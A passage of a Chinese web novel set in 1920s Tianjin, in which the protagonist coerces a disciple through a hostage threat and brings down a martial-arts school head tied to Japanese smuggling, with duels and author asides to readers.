“我们在一起聊些风花雪月,其中男女主人公也没有谁去强迫谁,怎么能说是下流,顶多算是风流。”
“对对对,风流”
“风流!古代文人墨客也都好这一口。”
其他人都笑着帮腔。
“哼,油嘴滑舌!”
————
应广大义父们的要求,白秀珠出来了,改成潘秀珠的原因,是俩人都姓白看着别扭,还有白雄起的原型可能是潘复,就这么改了。
对于接下来她还有没有剧情,就得看各位义父们,人气高就加剧情收了,觉得不行随时切掉这人物。
第98章 他是个魔鬼!
“小谦儿,伤怎么样了?”
邹榕满脸的关心,看着身体还有些虚弱的张谦。
凭心而论,她这个师娘当的很合格。
尤其是在钱财方面,对待徒弟们很舍得。
并不像那种一提涨点工资就要下跪给徒弟们磕一个。
“已经恢复的差不多了,多谢师娘挂念。”
邹榕闻言点点头,露出一丝苦涩的笑容,略有惆怅的说道。
“你师父的四大弟子如今就剩下了你一个,以后这韩家武馆还要靠你撑起来。”
“明天码头接货,你要万分小心,打起精神来。”
“是,师娘,我…”,张谦躬身答道。
他还想说些什么却欲言又止。
邹榕看了出来,微微一笑,“怎么了还有什么事?”
张谦连忙摇头,“没…没有”,他尴尬的笑笑,“师娘,我就想问钱大头那边倒了,咱们的货压了不少,再进不太好往外出啊。”
“唉”邹榕长叹了一声。
钱大头一倒,对她的损失是最大的。
用现在的话说,钱大头相当于她的北平总代理。
而且钱大头还欠她不少的货款没结,一时间邹榕还真没什么好办法。
她无奈道,“先在仓库里存着吧,你最近就带人仓库守着,等武馆的事情一结束,咱们去北平拜拜码头。”
“钱大头倒了,咱们要能搭上**的线未尝不是好事。”
张谦听到让他守在仓库就是一愣,“师娘,我守在仓库,那月初陈识来踢馆怎么办?”
邹榕拍拍他的肩膀,“这点不用担心,会有别的好手帮咱们出头。”
她说完后,在旁边的柜子里拿出几个礼盒。
“这些是前些日子吉田领事安排人送来的补品,你娘身体不好,拿回去给你娘吃吧。”
“师娘这…这太贵重了,我不能拿。”张谦将礼品往回推。
可邹榕却没给他拒绝的机会,硬生生塞进他的手。
“你娘就你一个儿子,你应该好好孝敬她,等有机会再帮你好好寻摸一个大夫。”
“听说现在西医治眼睛很有效果,不行咱们就出国。”
“谢谢…谢谢师娘”
听着邹榕的话,张谦低着头心里百感交集。
“去吧,好好做事,最近津门乱,遇事多留点神。”
张谦行礼后,拎着礼品走出了韩家武馆。
在武馆门前,他抬起头看着天上的太阳,眼泪忍不住的流了下来。
多少次他都想跟邹榕坦白,但邹榕的话却提醒了他。
是啊,他娘就他这一个儿子。
不按照白敬业的吩咐办,他娘将来怎么办?
或者说有将来么?
最近这段时间,只要一到夜晚,他一闭眼睛就能想起白敬业那如同恶魔般的笑脸。
想起自己亲手杀了三个师兄弟。
似乎现在耳边还能听见师兄弟们的哀嚎。
“魔鬼!他就是一个魔鬼!”
张谦在心里暗骂了几句,擦擦眼泪,拎着礼品回了家。
等他回到家中,看到眼前的场景,心‘蹦蹦蹦’跳个不停。
脑袋像被重锤击打过一样满是空白。
他最不想见到的魔鬼,正端着碗满脸笑容的给他老娘喂药。
“你…您怎么来了?”
白敬业呵呵一笑,将碗交给小胡。
还没等他说话,张谦的老娘就开口笑道。
“谦儿,你的朋友一早就来找你了,还给咱们家带了不少的东西。”
“还有这百草厅的泷胶多老贵啊,你中午拿些钱多买点肉,好好请你朋友吃一顿。”
“哎,娘我知道了。”
张谦满口答应着,这时白敬业冲他使了个眼神,意思到外边聊。
白敬业走到外边点起烟,又递给了张谦一支。
“我不会白长官。”
张谦嘴上说着,但看着白敬业笑眯眯的眼神,无奈的接了过来。
“明天是你们接货的日子?”
“是”
“邹榕那边怎么安排的?”
张谦把邹榕的安排讲述了一遍。
白敬业点了点头,轻声道,“明天一早会有两个人跟你一起接货,这几天他们就跟在你身边。”
张谦知道自己没法拒绝,只能答应下来。
“既然你不代表武馆出战,邹榕那边会让谁上?”白敬业问道。
张谦思考片刻后,不太确定的说道,“有可能是郑家武馆的郑山傲。”
“郑山傲?”
白敬业回想起
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宫二跟他说过。
津门武行里,韩馆主病逝后,郑山傲当过一段时间的津门头牌。
但他还有些疑惑,“这个郑山傲为什么会替邹榕出头?”
“额…”,张谦吞吞吐吐道,“我师父去世后,师娘和郑山傲走的很近,关系…关系不一般。”
“呵!”
白敬业冷笑了一声,“你师娘还真挺开放的。”
他摇摇头往屋里一指,“你母亲的病我看在津门很难治,北平的协和我有熟人,送那去看看吧。”
“我会找人照顾她老人家的,明天一早你走后,会有人接她去北平。”
“白长官!求求您!我娘她…”
张谦这还不懂么?
什么照顾?
就是人质。
白敬业拍了拍他,让他别那么激动。
“只要你好好配合,我不会做过分的事,我这人一向讲信誉。”
“就这么定了,你多多陪陪你娘吧,我先走了。”
说完后白敬业领着小胡离开,只留下张谦蹲在院子里唉声叹气。
他清楚自己没别的选择,自己家早被人严密监视起来。
根本没有逃跑的可能。
出了张谦的家,小胡问向白敬业。
“少爷,这个张谦咱们还留着么?”
白敬业没搭话,只是说道,“你让百草厅出两个伙计,送他老娘去北平,等到了北平找医院先看病。”
“要是看不好,就安排妥当的人照顾她下半生。”
“是,少爷”
小胡领命后先行一步,到津门百草厅联系人手。
白敬业在车上等了一会儿,宫府的张潇来到了车旁边。
他摇下来车窗,张潇在他耳边耳语了几句。
白敬业勾起嘴角神秘一笑,冲开车的谭海道,“开车,到英租借的爵士咖啡馆。”
在咖啡馆的门口大约等了十五分钟左右。
潘秀珠拎着女士小包款款走出。
她看见靠在车边的白敬业就是一怔,指着他惊愕道。
“你…你怎么在这?”
白敬业十分绅士的拉开车门,笑道,“卓别林新上映的电影淘金记,要不要一起欣赏欣赏?”
潘秀珠小脸儿一仰,“哼!去就去,怕你不成。”
第100章 砸你的招牌
邹榕的一声“请”字,所有人都扭头看向房门。
白敬业看着坐在人堆里的郑山傲皱了皱眉,心道,竟然不是他。
房门一开,走出一个不到三十岁的年轻人。
宫二看到他’腾‘的站了起来。
“师兄!”
白敬业听完一愣。
吉田茂帮着邹榕请来的人正是宫二的师兄,马三!
再看宫宝森这张脸,赶得上包公了,咬着牙喘着粗气。
眼神死死地盯着马三。
“怎么是他?”
“对啊,他不是让宫老撵回东北了么”
“邹馆主怎么给他请回来了?”
各个武馆的人不停地交头接耳,眼前的一幕对他们来说有些震撼。
这在武行里是大忌。
被撵走回乡思过的人,不经师命就回来,这叫逆徒。
马三走到宫宝森的面前躬身施礼,“师父,我回来了。”
宫宝森强压怒火,冷声道,“你还认我这个师父?十年之期未到,谁允许你回来的?”
“师父,邹馆主给我去信,说有人要踩咱们北方武行的门面,徒儿这才回来。”
“您放心,和陈识比过之后,徒儿绝不在津门停留,接着回老家闭门思过。”
“啪!”
“咔嚓!”
宫宝森动了真火,一掌给面前的桌子拍成两截。
“你要还认我这个师父,现在就给我回东北。”
“呵呵”
马三冷笑了一声,“恕徒儿实难从命。”
白敬业看见这个场景,脑子里不禁有一首BGM涌现出来。
刀怒斩逆徒、人行走江湖
一笔一划教你来读,最后换来你不服!
他正在脑海里文艺复兴的时候,小胡走到他旁边耳语道。
“少爷,事情都办妥了。”
白敬业点点头,接茬看戏,他都不用细想也知道马三怎么来的。
这种关键时刻来帮邹榕,那肯定是投入到鬼子的怀抱了。
鬼子渗透东北那么严重,能找到马三笼络住他,一点都不奇怪。
“好!看来你是能耐大了,既然你千里迢迢的回来,索性,也先别和陈识搭手。”
“今天就接着场地,我先给你办一场出师宴!”
宫宝森说道这,冲四方一抱拳,“诸位,宫某师门不幸,让大家看笑话了。”
“徒弟大了,总不好让他一直待在师门,今天我就先和马三做个了断!”
“你赢了我,今天当着大伙儿的面助你扬名,输了,宫家的东西你得给我还回来!”
宫宝森下定决心,今天就要废了马三。
邹榕见状忙上前阻拦,“宫前辈,这不合规矩吧”
“马三是我请来代表韩家武馆出战的,今天过后,你们师徒之间的事再解决也不迟。”
“况且今天还是陈师傅的好日子,宫前辈您可不能耽误了。”
邹榕也扭头看向其他人,“诸位说说,小女子说的对么?
其他人有的点头称是,有的沉默不语。
郑山傲这时走到两人中间劝道,“宫前辈,邹馆主说的也有一定道理。”
“她既然把马三请来了,马三也是津门武行的人,这也不算破了规矩。”
“还是让他们先搭手后,择日,你们再解决私事,您看如何?”
宫宝森还想再说些什么,却被一阵掌声打断。
“**”
鼓掌的正是白敬业,他看了半天,也不能让准老丈人吃瘪啊。
众人把目光都看向他。
白敬业不慌不忙的站了起来,一股无形的装逼气势蔓延开来。
他把墨镜摘掉,肩膀一抖动,披在肩上的大衣滑落到一半。
就被身后眼疾手快的小胡接住。
“邹馆主和郑馆主说的不错,规矩就是规矩,不过在下也有一事想像二位请教?”
邹榕看他有些面熟,轻笑道,“这位先生尊姓大名?”
“北平白敬业。”
他这一报名号,原以为能引得全场轰动的效果根本没有。
只要寥寥几人在交头接耳。
“白敬业谁啊?”
“前段时间闹北平的那个。”
“哦哦,没什么印象。”
白敬业顿时有些尴尬,心道,“妈的,逼装过头了,我这么大的名气呢?就这反应?你们他妈平时不看报么!”
白敬业的名声响么?
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>是很响,但在武行这个圈里就不太行了。
主要这些人不太关心时事。
你要换成学校、政府等地,这时候早就炸锅了。
但邹榕可不一样,她和北平那边来往密切,白修合的大名她可是听过。
而且,她从小道消息打听过,钱大头的倒台和白敬业是有一定关系的。
邹榕眯起眼睛笑了笑,“原来是大名鼎鼎的修合先生,不知您怎么有空关心起我们津门武行了。”
“咳”
白敬业轻咳一声掩饰尴尬,“各位有所不知,我白敬业前段时间和宫家订了亲,所以也算半个津门武行的人。”
“所以,您两位提到了规矩,在下就有点事想跟两位请教。”
邹榕和郑山傲都看向宫宝森。
宫宝森含着笑点点头,“不错,修合是我宫府的门前贵客,说的话可以代表我们宫府。”
“既然这样,修合先生但讲无妨。”
白敬业盯着邹榕的眼睛,轻声道,“其实也没别的,我就想问问,今天如果韩家武馆不存在了,陈识还用和马三还用比么?”
邹榕的脸色瞬间变了,冷声道,“修合先生,您说这话是什么意思?”
“呵呵”
白敬业呵呵一笑,指着韩家武馆的招牌,“听不懂啊?字面意思!踏平你的武馆,砸了你的招牌,让津门今天开始没有韩家武馆!”
“白修合,你太放肆了!”
“我们韩家武馆不是你能羞辱的!”
有几个韩家武馆的弟子气不过,就要冲上来收拾白敬业。
邹榕一抬手制止了他们,眼睛死死盯着白敬业,“修合先生,您得给我个解释,我们武馆哪得罪您了?”
“我们韩家虽然没北平白家势大,但也不是好欺负的。”
“您今天不给我个解释,恐怕想出去没那么容易。”
“想要解释?可以啊。”
白敬业说着从后腰掏出**,向空中开了七枪。
“砰砰砰...”
众人听到**都下意识的猫腰躲闪。
“您这是何意?”
白敬业吹了**口,微微一笑。
“让子弹飞一会!”
第101章 拒捕
众人都被白敬业这几枪给开懵了。
有的人还往天上看去,以为天上有鸟?开枪打鸟玩呢?
突然,韩家武馆的门口一阵骚乱。
“师父、师父,不好了!”
门口迎宾的徒弟连跑带跌的闯了进来,“师父,门口来了一大群黑皮,手里都端着家伙!”
他话音刚落。
白景泗带着二十多个黑皮,个个手里端着**闯了进来。
邹榕看着来的黑皮都是生脸,不由得有些惊慌。
但还是强装镇定道,“这位长官,看您不像津门本地的警察,来我的武馆有何贵干?”
“呵呵”
白景泗呵呵笑道,“你就是韩家武馆的邹榕吧,你的案发了,跟我们走一趟吧!”
“您说的这是哪里的话,我们武馆一向奉公守法,从不做违法乱纪的事。”
站在白景泗身后的李副局长掏出一张拘捕令,递到邹榕的眼前。
“钱大头你熟悉吧!今有钱大头的口供,他的**都是从你这儿进的,请你跟我们回北平接受调查。”
李副局长一挥手,身后的黑皮拿着**就要抓人。
“干什么!你们凭什么抓人!”
“你们这是诬陷!”
“保护师父!”
韩家的弟子们见到黑皮要抓人,各自拿起兵刃挡在邹榕面前。
“哼!”
白景泗冷哼一声,怒道,“你们干什么!要拒捕么!”
“全体都有,举枪!”
“咔嚓!咔嚓!”
白景泗带来的这些人,一半是自己警厅的心腹、一半是**里抽调的骨干。
都是见过血敢玩命的,更何况双方火力也不对称。
武馆拿的都是棍棒、刀片,这边清一色的**。
所以拉**的声音一响,武馆弟子面对着黑洞洞的枪口,不由得有些胆颤。
“且慢!”
郑山傲高喝一声,快步走了上来。
他冲着白景泗拱手抱拳,摇摇头,“这位长官,您想这么带走邹馆主不行!”
“呵”白景泗轻呵一声没说话。
旁边的李副局长指着郑山傲的鼻子骂道,“你个老不死的,**算什么东西!敢这么和我们厅长说话!”
“看清楚了!这是执政府内务部签署的逮捕令!轮不到你在这说三道四的,给我滚!”
郑山傲被骂的跟三孙子似的,自打他习武以来还没受过这么大的气。
但话又说回来,二十多杆枪顶你脑门上,生气能怎么滴!
忍着!
郑山傲黑着脸勉强挤出一个笑脸,“长官,不是我们拒捕,而是抓人得有证据吧。”
“钱大头我也听说过,北平的一个地痞流氓,他的话可不能信。”
“再说,韩家武馆是我们津门的头牌!您这么带人走,是让我们整个武行都没面子。”
他说到这话锋也硬了起来,“真有证据你们可以抓人,但没证据,大伙儿说说能让他们带走邹馆主么!”
有几个和邹榕、郑山傲关系不错的馆主都站了起来。
“山傲兄说的对!不明不白的抓人,咱们津门武行也不是泥捏的!”
“就是,你们北平警厅来我们津门抓人,介叫嘛,介叫狗拿耗子、多管闲事!”
“别拿枪吓唬人!有能耐把我们都毙了!”
白敬业冷眼旁观,看着一个个蹦出来的人心里好笑。
不用甄别一个个就都蹦出来了,正好省事了。
他在心里数着,“一个、两个、三个…”
眼看着再没人跳出来,白敬业看向郑山傲,轻声道,“你要证据对么?”
郑山傲点点头,“抓人必须要有证据。”
“好!我给你证据!”
白敬业冲着外边高声喝道,“证据呢!”
“来啦!”
外边大声回应了一声,紧着接传来非常有秩序的跑步声。
“踏踏踏…”
进来了五六十号黑皮,这些黑皮和白景泗带来的可不一样。
一个个腰板倍儿直,一看就是训练有素,眼角眉梢都带着杀气。
领头的是身穿便装的张六子和冯老五。
后边跟着津门警厅厅长常怀英,还有几人抬着大箱子。
“咣当!”
几口大箱子放到邹榕和郑山傲的面前。
打开一看,里边都是用油纸包装的黑疙瘩。
白敬业挑出一包端在手里,往前一递,“邹馆主,看着眼熟么?”
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“知道在哪搜出来的么?海河边的三和仓库!”
“不…不…不,我不知道!”
邹榕连忙摇头,她手足无措,心神早就乱了。
“不是我的,我们家仓库怎么会有这些东西?”
“你承认是你家的仓库了!”
白敬业一声怒吼,让邹榕打了个冷颤。
“张谦!出来!”
张谦低着脑袋从人群中走了出来,眼里含泪喊了一声,“师娘”
邹榕咬牙切齿的看着他,不明白为什么他会背叛自己。
白敬业拍拍张谦的肩膀,“说说吧,这些货都是从哪来的?”
张谦深吸一口气,让自己平静下来,“都是我师娘邹榕和岛国人那进的货…”
他粗略的讲了一遍,但其中并没提到吉田茂的名字。
在场的众人听完都大惊失色。
“咣当!”
刚才喊狗拿耗子的那位,一个没坐稳跌落在地上。
宫宝森顺着声音看了过去,冷哼了一声。
刚才的事他都看在眼里,恨自己这几年对津门武馆的管理松懈,才有了今天。
宫家的地位相当于什么呢?
相当于北方绿林里的总瓢把子。
如今津门整出来这么难堪的事,等于在他脸上狠狠的抽了一巴掌。
白敬业拿着几张照片,走到郑山傲的面前抡起巴掌。
“啪!”
将照片狠狠地抽在他的脸上,“这就是你要的证据,自己看!”
照片上都是张谦接货时,一直送到三合仓库的照片。
“人能带走么?”
郑山傲低头不语,跟岛国人交易进的**。
谁敢拦着?
谁敢拦今后在整个武林都待不下去。
白敬业挥了挥手,“带走!”
黑皮们冲上来给邹榕带上**和脚镣,推搡着就要往外走。
韩家武馆的弟子这回也都低着头不敢再阻拦。
“等等”
黑皮们听见白敬业的喊声停了下来。
白敬业指着韩家武馆的牌子冷笑道,“邹馆主,我说过今天要砸你的牌子,那就是今天砸!”
“来人!把招牌给我砸碎喽!”
“从今天开始,津门没有韩家武馆!”
第102章 老猿挂印回首望
邹榕看着被砸得四分五裂的招牌。
整个人像被抽空了精神,面如死灰站都站不稳。
两个黑皮架着她刚走到大门口,就被人给堵住了。
有个黑皮回来报信,“少爷,门口来了几个鬼子,说是岛国的领事叫吉田茂。”
白敬业冷笑一声,心道,“正主终于出现了。”
他跟张六子眼神一对。
张六子和冯庸起身就往外走。
他俩为嘛来的?
抓邹榕用的着他俩么,就是为了吉田茂来的!
前边白景泗和常怀英正在那应付他呢。
吉田茂怎么来的这么快?
三合仓库一被抄,他那边就接到信了,这才直奔韩家武馆。
“呦!什么风给吉田领事吹来了?”
白景泗和常怀英听见张六子的声音,一闪身给他让了出来。
吉田茂看见张六子就是一愣,“张…张少帅?!你怎么会在这里?”
张六子不紧不慢的说道,“津门警局隶属于直隶府,他们查到津门有一起严重的****件。”
他指向邹榕,“涉案人就是邹馆主,其中还涉及到几个岛国商人。”
“警厅的人怕涉及到外交,所以让我来看看。”
张六子笑着问道,“吉田领事您清楚这件事么?”
“这…这…我,我不清楚。”
吉田茂的眼神闪躲。
民国前期**是**,虽然政府不怎么管控,但是谁敢光明正大的承认?
更何况吉田茂还是一国的领事。
吉田茂皱着眉头说道,“少帅,我觉得此事还是应该调查清楚为好。”
“邹馆主是我的朋友,我们还是不要冤枉她。”
张六子点了点头,“当然!我们不会冤枉一个好人,但此事要是涉及到岛国商人,还希望吉田领事你能给我个交代。”
吉田茂扶了扶眼镜,无奈道,“好吧”
张六子一摆手,“带走,尽快审讯。”
“吉田领事,我这还有事就不送您了!”
吉田茂吃了个闭门羹,转身带着秘书离开了。
他一走,邹榕刚刚燃起的希望又被扑灭了。
“吉田君,这事我们难道要眼看着邹榕被抓么?一旦她把我们咬出来…”
吉田茂听着秘书的话咬了咬牙,“先回去!我们跟他们的政府交涉,让他们尽快释放邹榕。”
“嗨!”
仓库突然被捣毁,加上邹榕被抓,让吉田茂彻底乱了分寸。
他都忘了武馆里还有个倒霉蛋呢。
此刻站在武馆里的马三,看着瞬间被逆转的局势心里哇凉哇凉的。
说好的一起掌控津门地下世界。
突然间就剩他老哥儿一个了。
他孤零零站在场中,周围全是荷枪实弹的黑皮。
白敬业可没少听宫二说过,她的师兄有多厉害。
他是放虎归山的人么?
别说马三是宫老的养子。
**就是亲儿子,今天也得给我死在这!
白敬业把大手一挥,“给我抓起来,敢他妈反抗,就给我一枪崩了!”
黑皮们听到令下,举着枪围了上前去。
“等一下!”
宫宝森高喊一声,走到白敬业的身边,“贤婿,这个马三还是交给我吧。”
白敬业呵呵一笑,“宫伯父,您这么高的身份,跟他较什么劲啊,有失身份,我看还是算了。”
“把他一抓,交给法律该怎么处置怎么处置。”
“您放心,法律的最终解释权在我这,指定给他个痛快,就不劳您老费心啦!”
别看他嘴上嬉皮笑脸的,但称呼都改了。
平时可以岳父长、岳父短的,遇到正事没人能干涉他的决定。
“敬业…”宫二可怜巴巴的看着白敬业。
但白敬业熟视无睹,根本不接他的茬。
宫老也听出他话里的意思,见驳了他的面子,只能求助的望着张六子。
宫宝森以前给张老疙瘩当过总教头和贴身保镖。
也算张六子半个师父。
张六子见状贴在白敬业耳边低声道,“算啦,给宫老个面子吧。”
“怎么说他也是你岳父,他要是真下不去手,大不了过后咱们私底下再弄死他。”
白敬业咬着嘴唇想了会,笑道,“既然岳父您非要自己清理门户,那就这么办。”
“不过岳父,您可不能因为师徒之情就手下留情啊。”
宫宝森郑重的点点
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头,“贤婿放心,我绝不会让这个孽障再出来作乱。”
说完他迈步走上前去。
陈识见宫老上前,快步走了上去,“前辈,要不我替你出这一战吧,正好也该是我打这一场。”
“呵呵”,宫宝森呵呵一笑,“清理门户的事怎么能让别人代劳。”
他将陈识推开走到马三的面前。
“孽障!刚才我给过你机会,可你不知道回头,我看你已有取死之道。”
宫宝森呵斥道,“我让你在老家修身养性,是为了让你藏藏锋。”
“你却跟岛国人搅和在一起,你既然选了这条路,宫家的东西你就得给我还回来。”
马三看了看周围,自己是插翅难逃,苦涩道,“师父,十年太久了,更何况岛国人承诺了。”
“只要咱们听他们的,就帮助我们一统南北,整个华夏的武林都是咱们宫家说的算!”
“您不是一直想南北方国术融合么,这是多好的机会…”
“混账!”
宫宝森没等他说完就怒骂了一声,“你…你这个数典忘祖的东西!死到临头了还不知悔改。”
“少说废话,今天你想活着就过了我这关,打赢我,我让你出师。”
“我教了你这么多年,你知道老猿挂印的关隘是什么吗?”
马三一愣,“练过几次,没听您说过。”
“那我今天再传你最后一手”
“老猿挂印回首望,关隘在回头!”
宫宝森说着亮开架势。
起手式八卦掌的青龙探手,下盘微微前趟,作趟泥步。
马三则用起形意拳的起手式。
鹰捉起手变三体式。
宫宝森怀抱两门绝学,形意与八卦,正经的一代宗师。
形意传了马三,八卦则传给宫二。
马三率先抢攻,由三体式转龙形延掌。
脚下一动,一个进步砖拳直击宫宝森。
宫宝森用手拨开他的拳,身形晃动绕到他的背后。
这招叫鹞子翻身掌,双掌正拍在马三的背后。
给他拍出去半米远。
马三脚下一个踉跄,他是真有功夫,提起一口气,一个翻身站稳后。
紧接着劈拳直奔宫宝森。
第103章 回头太难
马三这一拳来势凶猛。
宫老提臂格挡,但也被拳劲震退了几步。
拳怕少壮,不服老不行。
这也不是修仙的世界,越老越牛逼。
人到老了,气血就是没壮年时充盈。
二人这一回合斗完,同时变换架势再次战在一起。
白敬业看着心里起急,他是不想宫宝森去交手。
在他看来一颗**就能解决的事,浪费这个时间没什么意义。
可谁让人家武行里有自己的规矩呢。
再看场上,两人插招换式,都是奔着要对方命去的。
宫老进步穿掌直击马三的面门。
马三格挡之后。
突然由形意十二形中的龙形转为猴形。
左右双拳同出正击在宫宝森的腹部。
宫宝森被打的后退几步。
马三趁势追击提膝用了绝招,老猿挂印!
膝盖直奔宫宝森的心脏处。
可他终究还是年轻,
或者说根本没领悟到这招的精髓,回首望!
他的膝盖刚抬了一半,就被宫宝森抬腿压了下去。
双手做捧状,直击马三的下巴,一下就将他顶飞了出去。
白猿献桃专破老猿挂印!
如果马三听进去回首望这三个字,领悟到老猿挂印的关隘。
在提膝的一瞬间回首,宫宝森的白猿献桃是打不出来的。
再者,他真能听得进去回头这两个字,也就没有这场对决。
老猿挂印,回头太难!
马三趴在地上,脖颈连动都不敢动,嘴里喷出鲜血。
这一招宫宝森还是留了情,要不然直接就把他颈椎给顶折了。
马三毕竟是宫宝森从小养到大的,跟亲儿子没两样。
而且他只有宫二这一个女儿,早就视马三为自己的衣钵传人。
宫宝森看着在地上挣扎的马三,再也不忍心下狠手。
他叹了口气,“你走吧,找个地方藏起来,永远也别再露面!”
随后望向白敬业,“贤婿,他的功夫我已经收回来,下半生他也只能苟延残喘,放他一马吧。”
白敬业听见这话差点没气吐出一口老血。
他猜到宫宝森有意放他一条生路,才嘱咐道手下别留情。
但宫宝森话已经说了出去。
众人都回头望向他,白敬业无奈的笑笑挥了挥手。
“谢…师…师父”
马三好半天才站了起来,踉跄着往外走。
宫宝森看着他的背影,老泪也流了下来。
白敬业黑着脸扭头看向了黄立。
黄立微微颔首,拎着刀趁众人不注意溜了出去。
宫二看见白敬业和黄立的眼神交流,转身也要走。
却被白敬业一把攥住,“你干什么去?”
宫二微微一笑低声道,“我不是我爹,但他好歹是我师兄,宫家的弟子,宫家人亲手送他走。”
“好”
宫宝森站在场上缓了半天,才恢复了精神。
他转身看向在场的武馆馆主,环视了一圈,脸色阴沉道。
“诸位,对于今天韩家武馆发生的事有什么想说的么?”
众人皆是沉默不语。
“大伙儿都不想说,老头子我要说几句。”
“邹榕做的这些事恐怕不止一家武馆在做吧?”
“民国这才短短十几年,津门的武行就烂成了这种样子!”
“走私**、巧取豪夺、逼良为娼,什么缺德的买卖你们都敢干,一点真功夫不往下传,拿弟子们当成谋利抢地盘的工具!”
“你们身上还有一点武人的风范么?”
这些平日里趾高气昂的馆主们都低着头不敢反驳。
平时他们可能对宫老的话不以为意,兴许有的还敢呛两句声。
今天可不一样,邹榕刚被带走,院子里还有小一百号拿枪的黑皮呢。
谁敢反驳?
腿打折!
“诸位回去都好好想一想,明天中午登瀛楼老头子摆宴,我要给津门的武行重新立一立规矩!”
众人垂头丧气的带着徒弟离开。
只有几个和宫宝森交好的馆主,留下来帮着他处理韩家武馆的后事。
这还一大堆徒弟呢,不能扔下不管。
至于陈识立馆,他现在别说开一家了。
开他十家八家也没人敢反驳啊!
白敬业可没工夫在这处理零碎,他和张六子等人返回了少帅府。
抓邹榕只是个开端。
白敬业和吉田茂双方的斗法才真正的开始!
为了防止意外发生,邹榕现在就被羁押在少帅府。
白敬业找到四大爷和常怀英,问道,“她怎么样?招了么?”
白景泗哈哈一笑,把口供递给了他,“你看看,这女人很识相,没费劲就全都招了。”
白敬业拿着口供看了一遍,皱起了眉头。
上边邹榕交代的很清楚。
吉田茂意图染指武行,进而再一步迈进漕帮,掌握所有走私的来源通道。
继而全盘掌握津门的地下世界。
这和白敬业给张六子出的主意不谋而合。
为什么双方都
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这么费心巴力的拉拢武行。
之前也提到过,津门和上海一样都很特殊。
九国条约规定,部队是不允许进入的。
连张六子的卫队营,也只允许进入津门一小部分。
如果不是因为这个原因,哪还用这么费事,一个团的兵力进去。
什么帮派、武行,全他妈给他们突突了!
这也是为啥民国大佬下野后都愿意隐居在天津。
安全!
就拿李剑仙来说,他得罪了冯倒戈下野后,一头扎进了租界。
给冯倒戈气的要死,但也只敢派一个班的便衣,天天在租界门前晃悠。
白敬业看着口供摇了摇头,“这份口供不行。”
“哪不行?不是挺全的么?”
白景泗和常怀英一头雾水。
白敬业的嘴角勾起一丝坏笑,“全是挺全,但是不够刺激!”
“这样,我和她谈,你们把钱大头也提过来,按照之前商量好的计划行事。”
白敬业推开关押邹榕的房门,迈步走了进去。
邹榕此刻脸上异常的平静。
她是个极其聪明的女人,从进到少帅府后,就知道自己陷入的是两个势力之间的斗争。
这不是她一个小小的武馆馆主能左右的。
是生是死她也看开了。
愿赌服输!
白敬业拉过椅子坐到了她的面前,笑眯眯的说道,“邹馆主有什么需要的么,想吃些什么、喝些什么,我一定满足。”
邹榕淡淡一笑,“修合先生这么客气干什么?”
“我客气么?”
“您太客气了”
她扬了扬手上的**,“如今我成了阶下囚,人为刀俎我为鱼肉。”
“我要是猜的不错,接下来您是想利用我对付吉田茂吧?”
白敬业点点头,“没错,说实在的,我很佩服邹馆主这份儿聪明劲。”
“如果你不是倒向了鬼子,我们兴许会成为朋友。”
“哈哈哈”
邹榕哈哈直笑,咬了咬嘴唇看向白敬业,“看来我是没有活着的机会了?”
————
各位大佬们可能会觉得津门这几段有些偏离主题,没什么意思。
其实正常,因为现在字数少,显得篇幅就略长。
但津门这段在我大纲里很重要的,这是主角起家必须要有的一段。
等这本书完全展开,老爷们就能看出来这段其实就占了一点篇幅。
主角会在津门这段时间掌控很多东西,具体我就不剧透了。
爱你们呦
第104章 叛国者,死!
白敬业点点头,“让你接着活下去很难,但让你临死前过的舒服点,不用遭罪我还是能做到的。”
“呵呵”
邹榕呵呵一笑,让自己平静下来,“修合先生,我的其他三个弟子也是死在你手里吧?”
“我想知道你是从什么时候盯上了我们韩家武馆。”
白敬业递给邹榕一支烟。
就像和老朋友谈心一样和她聊了起来。
简单的把盯上韩家武馆,怎么扣住张谦的事说了一遍。
“唉”
邹榕叹了口气,“吉田茂输得不冤,他在明、你在暗,况且你还拥有中华武士会这么大的助力。”
“其实从吉田茂把马三带来那一刻,我就知道我活不久了。”
“但我没想到真正在幕后出手的是你。”
白敬业听完一愣,好奇道,“为什么?马三功夫那么高,这里要没有我,估计陈识很难赢他。”
“哈哈哈”
邹榕一阵大笑,摇了摇头,“修合先生你是很厉害,但你太高看自己了。”
“不”,她说完又注视着白敬业,“看来宫老还没告诉你,中华武士会的恐怖之处。”
“即使你什么都不做,把这些证据摆在宫老的面前,用不了多久他也会出手。”
“中华武士会统御北方将近二十年,你以为他只是一个简单的国术团体么?”
“宫老平时不打理津门武行,是因为他觉得这些都是小事,没必要去管。”
“一但涉及他的底线,你会看到这个团体的恐怖。”
邹榕望着天花板,平静道,“我是因为没了选择,即使没有你,过段时间吉田茂也会逼我摊牌,摊牌的时候就是我的死期。”
白敬业听着她的叽里咕噜的,越听越糊涂,疑惑道,“你既然明知是死,为什么还要跟吉田茂合作?”
“因为我想赌一把!”
邹榕的语气有些偏执,“韩家武馆是我亡夫留下的,我不能看着他慢慢消亡,为了韩家武馆我什么都愿意做!”
白敬业心想这娘们还真是专情。
为了亡夫的遗物,什么都能付出,哪怕是肉体。
“关于中华…”
白敬业想在她口中详细问问中华武士会的事情。
却被她开口打断,“修合先生,关于武士会的事,我劝你还是自己去问宫老,我了解的也不多。”
“咱们还是说说你想让**什么吧?只要你答应我个小小的条件,我愿意听从你所有的安排。”
“呵”,白敬业轻呵一声,心道,都这时候了还惦记跟他讲条件呢。
这娘们真不是一般人。
不过他也清楚,这种把生死置之度外的人,硬来不太好拿捏。
“你说吧,我听听”
邹榕注视着他,问道,“您应该是没打算放过张谦吧?”
白敬业点了点头,“是没这个打算。”
邹榕凄惨一笑,“您的心还真够狠的。”
“我的条件是留张谦一命,让他重新把韩家武馆办起来。”
白敬业听了有些不敢相信,惊讶道,“你不恨他?”
“恨也不恨”
邹榕苦笑了一声,“他是个好孩子,更是个孝子,我能理解他的做法。”
“况且我亡夫留下的真传弟子中只剩下他一个了。”
“我求求您留他一命,你控制着他母亲,他不会背叛你,给我亡夫留下个香火吧。”
白敬业思索片刻,点了点头,“好吧,我答应你。”
对于一个张谦,杀或不杀,其实都无所谓。
让他重新办起来韩家武馆,白敬业还能往里边掺些沙子。
控制着他老娘,再对他严密监视,这么干要是还能让他再次反水。
那白大善人不如买块豆腐撞死得了。
邹榕见他答应,有些欣慰的笑笑,“您说吧,都需要我做些什么。”
“你的口供我看了,不够刺激,咱们得改一改,过几天津门警局会召开公审大会,到时候你要......”
白敬业把邹榕需要做什么都说了一遍。
邹榕听得目瞪口呆。
